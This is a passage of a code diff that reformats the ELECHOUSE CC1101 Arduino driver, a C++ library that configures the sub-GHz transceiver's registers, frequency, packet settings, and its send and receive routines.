+ *FUNCTION     :CC1101 register config //details refer datasheet of

+ * CC1101/CC1100// INPUT        :none OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::RegConfigSettings(void) {

+    SpiWriteReg(CC1101_FSCTRL1, 0x06);

 

-if (MHz >= 300 && MHz <= 348){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 300, 348, clb1[0], clb1[1]));

-if (MHz < 322.88){SpiWriteReg(CC1101_TEST0,0x0B);}

-else{

-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 1){setPA(pa);}

-}

-}

-else if (MHz >= 378 && MHz <= 464){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 378, 464, clb2[0], clb2[1]));

-if (MHz < 430.5){SpiWriteReg(CC1101_TEST0,0x0B);}

-else{

-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 2){setPA(pa);}

-}

-}

-else if (MHz >= 779 && MHz <= 899.99){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 779, 899, clb3[0], clb3[1]));

-if (MHz < 861){SpiWriteReg(CC1101_TEST0,0x0B);}

-else{

-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 3){setPA(pa);}

-}

-}

-else if (MHz >= 900 && MHz <= 928){

-SpiWriteReg(CC1101_FSCTRL0, map(MHz, 900, 928, clb4[0], clb4[1]));

-SpiWriteReg(CC1101_TEST0,0x09);

-int s = ELECHOUSE_cc1101.SpiReadStatus(CC1101_FSCAL2);

-if (s<32){SpiWriteReg(CC1101_FSCAL2, s+32);}

-if (last_pa != 4){setPA(pa);}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Calibration offset

-*FUNCTION     :Set calibration offset

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setClb(byte b, byte s, byte e){

-if (b == 1){

-clb1[0]=s;

-clb1[1]=e;  

-}

-else if (b == 2){

-clb2[0]=s;

-clb2[1]=e;  

-}

-else if (b == 3){

-clb3[0]=s;

-clb3[1]=e;  

-}

-else if (b == 4){

-clb4[0]=s;

-clb4[1]=e;  

-}

-}

-/****************************************************************

-*FUNCTION NAME:getCC1101

-*FUNCTION     :Test Spi connection and return 1 when true.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-bool ELECHOUSE_CC1101::getCC1101(void){

-setSpi();

-if (SpiReadStatus(0x31)>0){

-return 1;

-}else{

-return 0;

-}

-}

-/****************************************************************

-*FUNCTION NAME:getMode

-*FUNCTION     :Return the Mode. Sidle = 0, TX = 1, Rx = 2.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-byte ELECHOUSE_CC1101::getMode(void){

-return trxstate;

-}

-/****************************************************************

-*FUNCTION NAME:Set Sync_Word

-*FUNCTION     :Sync Word

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSyncWord(byte sh, byte sl){

-SpiWriteReg(CC1101_SYNC1, sh);

-SpiWriteReg(CC1101_SYNC0, sl);

-}

-/****************************************************************

-*FUNCTION NAME:Set ADDR

-*FUNCTION     :Address used for packet filtration. Optional broadcast addresses are 0 (0x00) and 255 (0xFF).

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setAddr(byte v){

-SpiWriteReg(CC1101_ADDR, v);

-}

-/****************************************************************

-*FUNCTION NAME:Set PQT

-*FUNCTION     :Preamble quality estimator threshold

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPQT(byte v){

-Split_PKTCTRL1();

-pc1PQT = 0;

-if (v>7){v=7;}

-pc1PQT = v*32;

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set CRC_AUTOFLUSH

-*FUNCTION     :Enable automatic flush of RX FIFO when CRC is not OK

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setCRC_AF(bool v){

-Split_PKTCTRL1();

-pc1CRC_AF = 0;

-if (v==1){pc1CRC_AF=8;}

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set APPEND_STATUS

-*FUNCTION     :When enabled, two status bytes will be appended to the payload of the packet

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setAppendStatus(bool v){

-Split_PKTCTRL1();

-pc1APP_ST = 0;

-if (v==1){pc1APP_ST=4;}

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set ADR_CHK

-*FUNCTION     :Controls address check configuration of received packages

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setAdrChk(byte v){

-Split_PKTCTRL1();

-pc1ADRCHK = 0;

-if (v>3){v=3;}

-pc1ADRCHK = v;

-SpiWriteReg(CC1101_PKTCTRL1, pc1PQT+pc1CRC_AF+pc1APP_ST+pc1ADRCHK);

-}

-/****************************************************************

-*FUNCTION NAME:Set WHITE_DATA

-*FUNCTION     :Turn data whitening on / off.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setWhiteData(bool v){

-Split_PKTCTRL0();

-pc0WDATA = 0;

-if (v == 1){pc0WDATA=64;}

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set PKT_FORMAT

-*FUNCTION     :Format of RX and TX data

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPktFormat(byte v){

-Split_PKTCTRL0();

-pc0PktForm = 0;

-if (v>3){v=3;}

-pc0PktForm = v*16;

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set CRC

-*FUNCTION     :CRC calculation in TX and CRC check in RX

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setCrc(bool v){

-Split_PKTCTRL0();

-pc0CRC_EN = 0;

-if (v==1){pc0CRC_EN=4;}

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set LENGTH_CONFIG

-*FUNCTION     :Configure the packet length

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setLengthConfig(byte v){

-Split_PKTCTRL0();

-pc0LenConf = 0;

-if (v>3){v=3;}

-pc0LenConf = v;

-SpiWriteReg(CC1101_PKTCTRL0, pc0WDATA+pc0PktForm+pc0CRC_EN+pc0LenConf);

-}

-/****************************************************************

-*FUNCTION NAME:Set PACKET_LENGTH

-*FUNCTION     :Indicates the packet length

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPacketLength(byte v){

-SpiWriteReg(CC1101_PKTLEN, v);

-}

-/****************************************************************

-*FUNCTION NAME:Set DCFILT_OFF

-*FUNCTION     :Disable digital DC blocking filter before demodulator

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setDcFilterOff(bool v){

-Split_MDMCFG2();

-m2DCOFF = 0;

-if (v==1){m2DCOFF=128;}

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-}

-/****************************************************************

-*FUNCTION NAME:Set MANCHESTER

-*FUNCTION     :Enables Manchester encoding/decoding

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setManchester(bool v){

-Split_MDMCFG2();

-m2MANCH = 0;

-if (v==1){m2MANCH=8;}

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-}

-/****************************************************************

-*FUNCTION NAME:Set SYNC_MODE

-*FUNCTION     :Combined sync-word qualifier mode

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSyncMode(byte v){

-Split_MDMCFG2();

-m2SYNCM = 0;

-if (v>7){v=7;}

-m2SYNCM=v;

-SpiWriteReg(CC1101_MDMCFG2, m2DCOFF+m2MODFM+m2MANCH+m2SYNCM);

-}

-/****************************************************************

-*FUNCTION NAME:Set FEC

-*FUNCTION     :Enable Forward Error Correction (FEC)

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setFEC(bool v){

-Split_MDMCFG1();

-m1FEC=0;

-if (v==1){m1FEC=128;}

-SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);

-}

-/****************************************************************

-*FUNCTION NAME:Set PRE

-*FUNCTION     :Sets the minimum number of preamble bytes to be transmitted.

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setPRE(byte v){

-Split_MDMCFG1();

-m1PRE=0;

-if (v>7){v=7;}

-m1PRE = v*16;

-SpiWriteReg(CC1101_MDMCFG1, m1FEC+m1PRE+m1CHSP);

-}

-/****************************************************************

-*FUNCTION NAME:Set Channel

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setChannel(byte ch){

-chan = ch;

-SpiWriteReg(CC1101_CHANNR,   chan);

-}

-/****************************************************************

-*FUNCTION NAME:Set Channel spacing

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setChsp(float f){

-Split_MDMCFG1();

-byte MDMCFG0 = 0;

-m1CHSP = 0;

-if (f > 405.456543){f = 405.456543;}

-if (f < 25.390625){f = 25.390625;}

-for (int i = 0; i<5; i++){

-if (f <= 50.682068){

-f -= 25.390625;

-f /= 0.0991825;

-MDMCFG0 = f;

-float s1 = (f - MDMCFG0) *10;

-if (s1 >= 5){MDMCFG0++;}

-i = 5;

-}else{

-m1CHSP++;

-f/=2;

-}

-}

-SpiWriteReg(19,m1CHSP+m1FEC+m1PRE);

-SpiWriteReg(20,MDMCFG0);

-}

-/****************************************************************

-*FUNCTION NAME:Set Receive bandwidth

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setRxBW(float f){

-Split_MDMCFG4();

-int s1 = 3;

-int s2 = 3;

-for (int i = 0; i<3; i++){

-if (f > 101.5625){f/=2; s1--;}

-else{i=3;}

-}

-for (int i = 0; i<3; i++){

-if (f > 58.1){f/=1.25; s2--;}

-else{i=3;}

-}

-s1 *= 64;

-s2 *= 16;

-m4RxBw = s1 + s2;

-SpiWriteReg(16,m4RxBw+m4DaRa);

-}

-/****************************************************************

-*FUNCTION NAME:Set Data Rate

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setDRate(float d){

-Split_MDMCFG4();

-float c = d;

-byte MDMCFG3 = 0;

-if (c > 1621.83){c = 1621.83;}

-if (c < 0.0247955){c = 0.0247955;}

-m4DaRa = 0;

-for (int i = 0; i<20; i++){

-if (c <= 0.0494942){

-c = c - 0.0247955;

-c = c / 0.00009685;

-MDMCFG3 = c;

-float s1 = (c - MDMCFG3) *10;

-if (s1 >= 5){MDMCFG3++;}

-i = 20;

-}else{

-m4DaRa++;

-c = c/2;

-}

-}

-SpiWriteReg(16,  m4RxBw+m4DaRa);

-SpiWriteReg(17,  MDMCFG3);

-}

-/****************************************************************

-*FUNCTION NAME:Set Devitation

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setDeviation(float d){

-float f = 1.586914;

-float v = 0.19836425;

-int c = 0;

-if (d > 380.859375){d = 380.859375;}

-if (d < 1.586914){d = 1.586914;}

-for (int i = 0; i<255; i++){

-f+=v;

-if (c==7){v*=2;c=-1;i+=8;}

-if (f>=d){c=i;i=255;}

-c++;

-}

-SpiWriteReg(21,c);

-}

-/****************************************************************

-*FUNCTION NAME:Split PKTCTRL0

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_PKTCTRL1(void){

-int calc = SpiReadStatus(7);

-pc1PQT = 0;

-pc1CRC_AF = 0;

-pc1APP_ST = 0;

-pc1ADRCHK = 0;

-for (bool i = 0; i==0;){

-if (calc >= 32){calc-=32; pc1PQT+=32;}

-else if (calc >= 8){calc-=8; pc1CRC_AF+=8;}

-else if (calc >= 4){calc-=4; pc1APP_ST+=4;}

-else {pc1ADRCHK = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split PKTCTRL0

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_PKTCTRL0(void){

-int calc = SpiReadStatus(8);

-pc0WDATA = 0;

-pc0PktForm = 0;

-pc0CRC_EN = 0;

-pc0LenConf = 0;

-for (bool i = 0; i==0;){

-if (calc >= 64){calc-=64; pc0WDATA+=64;}

-else if (calc >= 16){calc-=16; pc0PktForm+=16;}

-else if (calc >= 4){calc-=4; pc0CRC_EN+=4;}

-else {pc0LenConf = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split MDMCFG1

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_MDMCFG1(void){

-int calc = SpiReadStatus(19);

-m1FEC = 0;

-m1PRE = 0;

-m1CHSP = 0;

-int s2 = 0;

-for (bool i = 0; i==0;){

-if (calc >= 128){calc-=128; m1FEC+=128;}

-else if (calc >= 16){calc-=16; m1PRE+=16;}

-else {m1CHSP = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split MDMCFG2

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_MDMCFG2(void){

-int calc = SpiReadStatus(18);

-m2DCOFF = 0;

-m2MODFM = 0;

-m2MANCH = 0;

-m2SYNCM = 0;

-for (bool i = 0; i==0;){

-if (calc >= 128){calc-=128; m2DCOFF+=128;}

-else if (calc >= 16){calc-=16; m2MODFM+=16;}

-else if (calc >= 8){calc-=8; m2MANCH+=8;}

-else{m2SYNCM = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:Split MDMCFG4

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::Split_MDMCFG4(void){

-int calc = SpiReadStatus(16);

-m4RxBw = 0;

-m4DaRa = 0;

-for (bool i = 0; i==0;){

-if (calc >= 64){calc-=64; m4RxBw+=64;}

-else if (calc >= 16){calc -= 16; m4RxBw+=16;}

-else{m4DaRa = calc; i=1;}

-}

-}

-/****************************************************************

-*FUNCTION NAME:RegConfigSettings

-*FUNCTION     :CC1101 register config //details refer datasheet of CC1101/CC1100//

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::RegConfigSettings(void) 

-{   

-    SpiWriteReg(CC1101_FSCTRL1,  0x06);

-    

     setCCMode(ccmode);

     setMHZ(MHz);

-    

-    SpiWriteReg(CC1101_MDMCFG1,  0x02);

-    SpiWriteReg(CC1101_MDMCFG0,  0xF8);

-    SpiWriteReg(CC1101_CHANNR,   chan);

-    SpiWriteReg(CC1101_DEVIATN,  0x47);

-    SpiWriteReg(CC1101_FREND1,   0x56);

-    SpiWriteReg(CC1101_MCSM0 ,   0x18);

-    SpiWriteReg(CC1101_FOCCFG,   0x16);

-    SpiWriteReg(CC1101_BSCFG,    0x1C);

+

+    SpiWriteReg(CC1101_MDMCFG1, 0x02);

+    SpiWriteReg(CC1101_MDMCFG0, 0xF8);

+    SpiWriteReg(CC1101_CHANNR, chan);

+    SpiWriteReg(CC1101_DEVIATN, 0x47);

+    SpiWriteReg(CC1101_FREND1, 0x56);

+    SpiWriteReg(CC1101_MCSM0, 0x18);

+    SpiWriteReg(CC1101_FOCCFG, 0x16);

+    SpiWriteReg(CC1101_BSCFG, 0x1C);

     SpiWriteReg(CC1101_AGCCTRL2, 0xC7);

     SpiWriteReg(CC1101_AGCCTRL1, 0x00);

     SpiWriteReg(CC1101_AGCCTRL0, 0xB2);

-    SpiWriteReg(CC1101_FSCAL3,   0xE9);

-    SpiWriteReg(CC1101_FSCAL2,   0x2A);

-    SpiWriteReg(CC1101_FSCAL1,   0x00);

-    SpiWriteReg(CC1101_FSCAL0,   0x1F);

-    SpiWriteReg(CC1101_FSTEST,   0x59);

-    SpiWriteReg(CC1101_TEST2,    0x81);

-    SpiWriteReg(CC1101_TEST1,    0x35);

-    SpiWriteReg(CC1101_TEST0,    0x09);

+    SpiWriteReg(CC1101_FSCAL3, 0xE9);

+    SpiWriteReg(CC1101_FSCAL2, 0x2A);

+    SpiWriteReg(CC1101_FSCAL1, 0x00);

+    SpiWriteReg(CC1101_FSCAL0, 0x1F);

+    SpiWriteReg(CC1101_FSTEST, 0x59);

+    SpiWriteReg(CC1101_TEST2, 0x81);

+    SpiWriteReg(CC1101_TEST1, 0x35);

+    SpiWriteReg(CC1101_TEST0, 0x09);

     SpiWriteReg(CC1101_PKTCTRL1, 0x04);

-    SpiWriteReg(CC1101_ADDR,     0x00);

-    SpiWriteReg(CC1101_PKTLEN,   0x00);

-}

-/****************************************************************

-*FUNCTION NAME:SetTx

-*FUNCTION     :set CC1101 send data

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetTx(void)

-{

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_STX);        //start send

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:SetRx

-*FUNCTION     :set CC1101 to receive state

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetRx(void)

-{

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_SRX);        //start receive

-  trxstate=2;

-}

-/****************************************************************

-*FUNCTION NAME:SetTx

-*FUNCTION     :set CC1101 send data and change frequency

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetTx(float mhz)

-{

-  SpiStrobe(CC1101_SIDLE);

-  setMHZ(mhz);

-  SpiStrobe(CC1101_STX);        //start send

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:SetRx

-*FUNCTION     :set CC1101 to receive state and change frequency

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SetRx(float mhz)

-{

-  SpiStrobe(CC1101_SIDLE);

-  setMHZ(mhz);

-  SpiStrobe(CC1101_SRX);        //start receive

-  trxstate=2;

-}

-/****************************************************************

-*FUNCTION NAME:RSSI Level

-*FUNCTION     :Calculating the RSSI Level

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-int ELECHOUSE_CC1101::getRssi(void)

-{

-int rssi;

-rssi=SpiReadStatus(CC1101_RSSI);

-if (rssi >= 128){rssi = (rssi-256)/2-74;}

-else{rssi = (rssi/2)-74;}

-return rssi;

-}

-/****************************************************************

-*FUNCTION NAME:LQI Level

-*FUNCTION     :get Lqi state

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-byte ELECHOUSE_CC1101::getLqi(void)

-{

-byte lqi;

-lqi=SpiReadStatus(CC1101_LQI);

-return lqi;

-}

-/****************************************************************

-*FUNCTION NAME:SetSres

-*FUNCTION     :Reset CC1101

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSres(void)

-{

-  SpiStrobe(CC1101_SRES);

-  trxstate=0;

-}

-/****************************************************************

-*FUNCTION NAME:setSidle

-*FUNCTION     :set Rx / TX Off

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::setSidle(void)

-{

-  SpiStrobe(CC1101_SIDLE);

-  trxstate=0;

-}

-/****************************************************************

-*FUNCTION NAME:goSleep

-*FUNCTION     :set cc1101 Sleep on

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::goSleep(void){

-  trxstate=0;

-  SpiStrobe(0x36);//Exit RX / TX, turn off frequency synthesizer and exit

-  SpiStrobe(0x39);//Enter power down mode when CSn goes high.

-}

-/****************************************************************

-*FUNCTION NAME:Char direct SendData

-*FUNCTION     :use CC1101 send data

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(char *txchar)

-{

-int len = strlen(txchar);

-byte chartobyte[len];

-for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}

-SendData(chartobyte,len);

-}

-/****************************************************************

-*FUNCTION NAME:SendData

-*FUNCTION     :use CC1101 send data

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size)

-{

-  SpiWriteReg(CC1101_TXFIFO,size);

-  SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size);      //write data to send

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_STX);                  //start send

-    while (!digitalRead(GDO0));               // Wait for GDO0 to be set -> sync transmitted  

-    while (digitalRead(GDO0));                // Wait for GDO0 to be cleared -> end of packet

-  SpiStrobe(CC1101_SFTX);                 //flush TXfifo

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:Char direct SendData

-*FUNCTION     :use CC1101 send data without GDO

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(char *txchar,int t)

-{

-int len = strlen(txchar);

-byte chartobyte[len];

-for (int i = 0; i<len; i++){chartobyte[i] = txchar[i];}

-SendData(chartobyte,len,t);

-}

-/****************************************************************

-*FUNCTION NAME:SendData

-*FUNCTION     :use CC1101 send data without GDO

-*INPUT        :txBuffer: data array to send; size: number of data to send, no more than 61

-*OUTPUT       :none

-****************************************************************/

-void ELECHOUSE_CC1101::SendData(byte *txBuffer,byte size,int t)

-{

-  SpiWriteReg(CC1101_TXFIFO,size);

-  SpiWriteBurstReg(CC1101_TXFIFO,txBuffer,size);      //write data to send

-  SpiStrobe(CC1101_SIDLE);

-  SpiStrobe(CC1101_STX);                  //start send

-  delay(t);

-  SpiStrobe(CC1101_SFTX);                 //flush TXfifo

-  trxstate=1;

-}

-/****************************************************************

-*FUNCTION NAME:Check CRC

-*FUNCTION     :none

-*INPUT        :none

-*OUTPUT       :none

-****************************************************************/

-bool ELECHOUSE_CC1101::CheckCRC(void){

-byte lqi=SpiReadStatus(CC1101_LQI);

-bool crc_ok = bitRead(lqi,7);

-if (crc_ok == 1){

-return 1;

-}else{

-SpiStrobe(CC1101_SFRX);

-SpiStrobe(CC1101_SRX);

-return 0;

-}

-}

-/****************************************************************

-*FUNCTION NAME:CheckRxFifo

-*FUNCTION     :check receive data or not

-*INPUT        :none

-*OUTPUT       :flag: 0 no data; 1 receive data 

-****************************************************************/

-bool ELECHOUSE_CC1101::CheckRxFifo(int t){

-if(trxstate!=2){SetRx();}

-if(SpiReadStatus(CC1101_RXBYTES) & BYTES_IN_RXFIFO){

-delay(t);

-return 1;

-}else{

-return 0;

-}

-}

-/****************************************************************

-*FUNCTION NAME:CheckReceiveFlag

-*FUNCTION     :check receive data or not

-*INPUT        :none

-*OUTPUT       :flag: 0 no data; 1 receive data 

-****************************************************************/

-byte ELECHOUSE_CC1101::CheckReceiveFlag(void)

-{

-  if(trxstate!=2){SetRx();}

-	if(digitalRead(GDO0))			//receive data

-	{

-		while (digitalRead(GDO0));

-		return 1;

-	}

-	else							// no data

-	{

-		return 0;

-	}

-}

-/****************************************************************

-*FUNCTION NAME:ReceiveData

-*FUNCTION     :read data received from RXfifo

-*INPUT        :rxBuffer: buffer to store data

-*OUTPUT       :size of data received

-****************************************************************/

-byte ELECHOUSE_CC1101::ReceiveData(byte *rxBuffer)

-{

-	byte size;

-	byte status[2];

+    SpiWriteReg(CC1101_ADDR, 0x00);

+    SpiWriteReg(CC1101_PKTLEN, 0x00);

+}

+/****************************************************************

+ *FUNCTION NAME:SetTx

+ *FUNCTION     :set CC1101 send data

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SetTx(void) {

+    SpiStrobe(CC1101_SIDLE);

+    SpiStrobe(CC1101_STX); // start send

+    trxstate = 1;

+}

+/****************************************************************

+ *FUNCTION NAME:SetRx

+ *FUNCTION     :set CC1101 to receive state

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SetRx(void) {

+    SpiStrobe(CC1101_SIDLE);

+    SpiStrobe(CC1101_SRX); // start receive

+    trxstate = 2;

+}

+/****************************************************************

+ *FUNCTION NAME:SetTx

+ *FUNCTION     :set CC1101 send data and change frequency

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SetTx(float mhz) {

+    SpiStrobe(CC1101_SIDLE);

+    setMHZ(mhz);

+    SpiStrobe(CC1101_STX); // start send

+    trxstate = 1;

+}

+/****************************************************************

+ *FUNCTION NAME:SetRx

+ *FUNCTION     :set CC1101 to receive state and change frequency

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SetRx(float mhz) {

+    SpiStrobe(CC1101_SIDLE);

+    setMHZ(mhz);

+    SpiStrobe(CC1101_SRX); // start receive

+    trxstate = 2;

+}

+/****************************************************************

+ *FUNCTION NAME:RSSI Level

+ *FUNCTION     :Calculating the RSSI Level

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+int ELECHOUSE_CC1101::getRssi(void) {

+    int rssi;

+    rssi = SpiReadStatus(CC1101_RSSI);

+    if (rssi >= 128) {

+        rssi = (rssi - 256) / 2 - 74;

+    } else {

+        rssi = (rssi / 2) - 74;

+    }

+    return rssi;

+}

+/****************************************************************

+ *FUNCTION NAME:LQI Level

+ *FUNCTION     :get Lqi state

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+byte ELECHOUSE_CC1101::getLqi(void) {

+    byte lqi;

+    lqi = SpiReadStatus(CC1101_LQI);

+    return lqi;

+}

+/****************************************************************

+ *FUNCTION NAME:SetSres

+ *FUNCTION     :Reset CC1101

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setSres(void) {

+    SpiStrobe(CC1101_SRES);

+    trxstate = 0;

+}

+/****************************************************************

+ *FUNCTION NAME:setSidle

+ *FUNCTION     :set Rx / TX Off

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::setSidle(void) {

+    SpiStrobe(CC1101_SIDLE);

+    trxstate = 0;

+}

+/****************************************************************

+ *FUNCTION NAME:goSleep

+ *FUNCTION     :set cc1101 Sleep on

+ *INPUT        :none

+ *OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::goSleep(void) {

+    trxstate = 0;

+    SpiStrobe(0x36); // Exit RX / TX, turn off frequency synthesizer and exit

+    SpiStrobe(0x39); // Enter power down mode when CSn goes high.

+}

+/****************************************************************

+ *FUNCTION NAME:Char direct SendData

+ *FUNCTION     :use CC1101 send data

+ *INPUT        :txBuffer: data array to send; size: number of data to send, no

+ * more than 61 OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SendData(char *txchar) {

+    int len = strlen(txchar);

+    byte chartobyte[len];

+    for (int i = 0; i < len; i++) {

+        chartobyte[i] = txchar[i];

+    }

+    SendData(chartobyte, len);

+}

+/****************************************************************

+ *FUNCTION NAME:SendData

+ *FUNCTION     :use CC1101 send data

+ *INPUT        :txBuffer: data array to send; size: number of data to send, no

+ * more than 61 OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SendData(byte *txBuffer, byte size) {

+    SpiWriteReg(CC1101_TXFIFO, size);

+    SpiWriteBurstReg(CC1101_TXFIFO, txBuffer, size); // write data to send

+    SpiStrobe(CC1101_SIDLE);

+    SpiStrobe(CC1101_STX); // start send

+    while (!digitalRead(GDO0))

+        ; // Wait for GDO0 to be set -> sync transmitted

+    while (digitalRead(GDO0))

+        ;                   // Wait for GDO0 to be cleared -> end of packet

+    SpiStrobe(CC1101_SFTX); // flush TXfifo

+    trxstate = 1;

+}

+/****************************************************************

+ *FUNCTION NAME:Char direct SendData

+ *FUNCTION     :use CC1101 send data without GDO

+ *INPUT        :txBuffer: data array to send; size: number of data to send, no

+ * more than 61 OUTPUT       :none

+ ****************************************************************/

+void ELECHOUSE_CC1101::SendData(char *txchar, int t) {

+    int len = strlen(txchar);

+    byte chartobyte[len];

+    for (int i = 0; i < len; i++) {

+        chartobyte[i] = txchar[i];

+    }

